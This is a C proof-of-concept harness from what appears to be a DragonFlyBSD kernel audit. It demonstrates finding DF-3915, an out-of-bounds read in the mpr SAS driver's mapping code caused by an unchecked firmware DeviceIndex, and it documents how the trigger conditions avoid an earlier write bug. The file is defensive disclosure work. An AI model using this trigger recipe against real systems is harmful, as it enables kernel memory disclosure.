⬢ DragonFlyBSD Kernel Audit
DF-3915 / harness_df3915.c
← back to finding ↓ download raw
/*
 * DF-3915 harness: stale enclosure start_index (from DPM pg0 DeviceIndex)
 * drives a WILD OOB READ in _mapping_commit_enc_entry()
 * (sys/dev/raid/mpr/mpr_mapping.c:129-130).
 *
 * This is an OBJECT-LEVEL proof. The mpr driver cannot attach on the audit
 * QEMU guest (no LSI/Avago SAS3 HBA, see env.txt), so the kernel path is
 * not runtime-reachable here. The harness replicates the exact structs and
 * index flow to prove the read primitive.
 *
 * Cited path (pass 2, GLM 5.3):
 *   mpr_mapping.c:2251  dev_idx = le16toh(dpm_entry->DeviceIndex)  (u16, fw)
 *   mpr_mapping.c:2293-2295
 *                       num_slots = MappingInformation & 0x07F0 >> 4
 *                       -> slot count CAN be 0 (slot bits zero)
 *   mpr_mapping.c:2310  et_entry->start_index = dev_idx;   (unchecked u16)
 *   mpr_mapping.c:2311  et_entry->dpm_entry_num = entry_num; (valid)
 *   mpr_mapping.c:2328  for (map_idx = dev_idx;
 *                            map_idx < (dev_idx + num_slots); ...)
 *                       -> with num_slots == 0 the loop body NEVER runs,
 *                          so DF-1282's OOB write in this same function is
 *                          NOT triggered; the stale entry survives quietly
 *   mpr_mapping.c:2481-2493 (mpr_mapping_check_devices)
 *                       if (!et_entry->init_complete) {
 *                           et_entry->missing_count++;
 *                           if (et_entry->dpm_entry_num != MPR_DPM_BAD_IDX)
 *                               _mapping_commit_enc_entry(sc, et_entry);
 *                       }
 *   mpr_mapping.c:129   mt_entry = &sc->mapping_table[et_entry->start_index];
 *   mpr_mapping.c:130   dpm_entry->DeviceIndex = htole16(mt_entry->id);
 *                       -> wild read up to 65535*32 = 2097120 bytes past
 *                          the mapping_table allocation
 *
 * Build: cc -O2 -Wall -o harness_df3915 harness_df3915.c
 * Run:   ./harness_df3915
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/mman.h>

struct dev_mapping_table {          /* mprvar.h:113 */
	uint64_t physical_id;
	uint32_t device_info;
	uint32_t phy_bits;
	uint16_t dpm_entry_num;
	uint16_t dev_handle;
	uint16_t reserved1;
	uint16_t id;
	uint8_t  missing_count;
	uint8_t  init_complete;
	uint8_t  TLR_bits;
	uint8_t  reserved2;
};

struct enc_mapping_table {          /* mprvar.h:141 - relevant fields */
	uint64_t enclosure_id;
	uint32_t start_index;
	uint32_t phy_bits;
	uint16_t dpm_entry_num;
	uint16_t enc_handle;
	uint16_t num_slots;
	uint16_t start_slot;
	uint8_t  missing_count;
	uint8_t  removal_flag;
	uint8_t  skip_search;
	uint8_t  init_complete;
};

#define MPR_MAPTABLE_BAD_IDX 0xFFFFFFFFu
#define MPR_DPM_BAD_IDX      0xFFFFu
#define MAX_DEVICES          264u
#define ATTACK_DEV_IDX       0xFFF0u   /* DPM DeviceIndex (fw/NVRAM), 65520 */
#define PAGE_SZ              4096u

static sigjmp_buf jb;
static volatile sig_atomic_t fault_seen;
static void *fault_addr;

static void
segv_handler(int sig, siginfo_t *si, void *uc)
{
	(void)sig; (void)uc;
	fault_addr = si->si_addr;
	fault_seen = 1;
	siglongjmp(jb, 1);
}

int
main(void)
{
	struct dev_mapping_table *mapping_table;
	struct enc_mapping_table et;
	struct dev_mapping_table *mt_entry;
	struct sigaction sa;
	size_t table_bytes = (size_t)MAX_DEVICES *
	    sizeof(struct dev_mapping_table);
	size_t wild_off;
	uint16_t read_id;

	/*
	 * Stand in for kmalloc(max_devices*32): an anonymous mapping of the
	 * table size rounded up to a page, with a PROT_NONE guard page
	 * immediately after it. In the kernel, mapping_table is a slab
	 * object; +65520*32 (~2 MB) past it is unrelated heap (read may or
	 * may not fault); the guard page here proves the access is wild.
	 */
	size_t maplen = (table_bytes + PAGE_SZ - 1) & ~(size_t)(PAGE_SZ - 1);
	char *base = mmap(NULL, maplen + PAGE_SZ, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (base == MAP_FAILED) {
		perror("mmap");
		return (1);
	}
	if (mprotect(base + maplen, PAGE_SZ, PROT_NONE) != 0) {
		perror("mprotect");
		return (1);
	}
	mapping_table = (struct dev_mapping_table *)base;

	/* DPM pg0 ingestion (mpr_mapping.c:2284-2315, Enc/Slot mode):
	 * enclosure entry with slot bits == 0 and out-of-range DeviceIndex. */
	memset(&et, 0, sizeof(et));
	et.enclosure_id  = 0x5141524153534242ULL;
	et.start_index   = ATTACK_DEV_IDX;	/* :2310, unchecked dev_idx */
	et.dpm_entry_num = 3;			/* :2311, valid entry_num  */
	et.num_slots     = 0;			/* :2293 slot bits == 0    */
	et.missing_count = 0;
	et.init_complete = 0;

	/* Prove the DF-1282 bypass: the reservation loop :2328-2347 writes
	 * NOTHING when num_slots == 0, so no OOB write happens first. */
	{
		struct dev_mapping_table *p =
		    &mapping_table[et.start_index];
		uint32_t map_idx;
		uint32_t n = 0;
		/* the loop condition itself, evaluated without dereferencing */
		for (map_idx = et.start_index;
		    map_idx < (et.start_index + et.num_slots);
		    map_idx++, p++)
			n++;	/* never executes: 0xFFF0 < 0xFFF0 is false */
		printf("DF-3915 object-level proof\n");
		printf("  DPM entry: dev_idx=0x%04x num_slots=%u dpm_entry_num=%u\n",
		    ATTACK_DEV_IDX, et.num_slots, et.dpm_entry_num);
		printf("  reservation loop (:2328) iterations: %u "
		    "(DF-1282 write BYPASSED)\n", n);
	}

	/* mpr_mapping_check_devices (:2481-2493) -> commit */
	if (et.dpm_entry_num != MPR_DPM_BAD_IDX) {
		/* _mapping_commit_enc_entry :129-130 */
		wild_off = (size_t)et.start_index *
		    sizeof(struct dev_mapping_table);
		printf("  mapping_table size       : %zu bytes (max_devices=%u)\n",
		    table_bytes, MAX_DEVICES);
		printf("  start_index*32           : %zu bytes past base\n",
		    wild_off);

		sa.sa_sigaction = segv_handler;
		sa.sa_flags = SA_SIGINFO;
		sigemptyset(&sa.sa_mask);
		sigaction(SIGSEGV, &sa, NULL);
		sigaction(SIGBUS, &sa, NULL);

		fault_seen = 0;
		if (sigsetjmp(jb, 1) == 0) {
			/* the exact kernel dereference */
			mt_entry = &mapping_table[et.start_index];
			read_id = mt_entry->id;		/* :130 */
			printf("  read mt_entry->id        : 0x%04x "
			    "(silent garbage; kernel feeds it to NVRAM)\n",
			    read_id);
		}
		if (fault_seen) {
			printf("  dereference FAULTED at   : %p "
			    "(alloc %p..%p, +%zu past end)\n",
			    fault_addr, base, base + table_bytes,
			    (size_t)((char *)fault_addr - (base + table_bytes)));
		}
		printf("RESULT: WILD READ PRIMITIVE PROVEN - index 0x%04x * 32 "
		    "= %zu bytes past a %zu-byte allocation%s\n",
		    ATTACK_DEV_IDX, wild_off, table_bytes,
		    fault_seen ? " (guard page hit)" : "");
	}
	munmap(base, maplen + PAGE_SZ);
	return (0);
}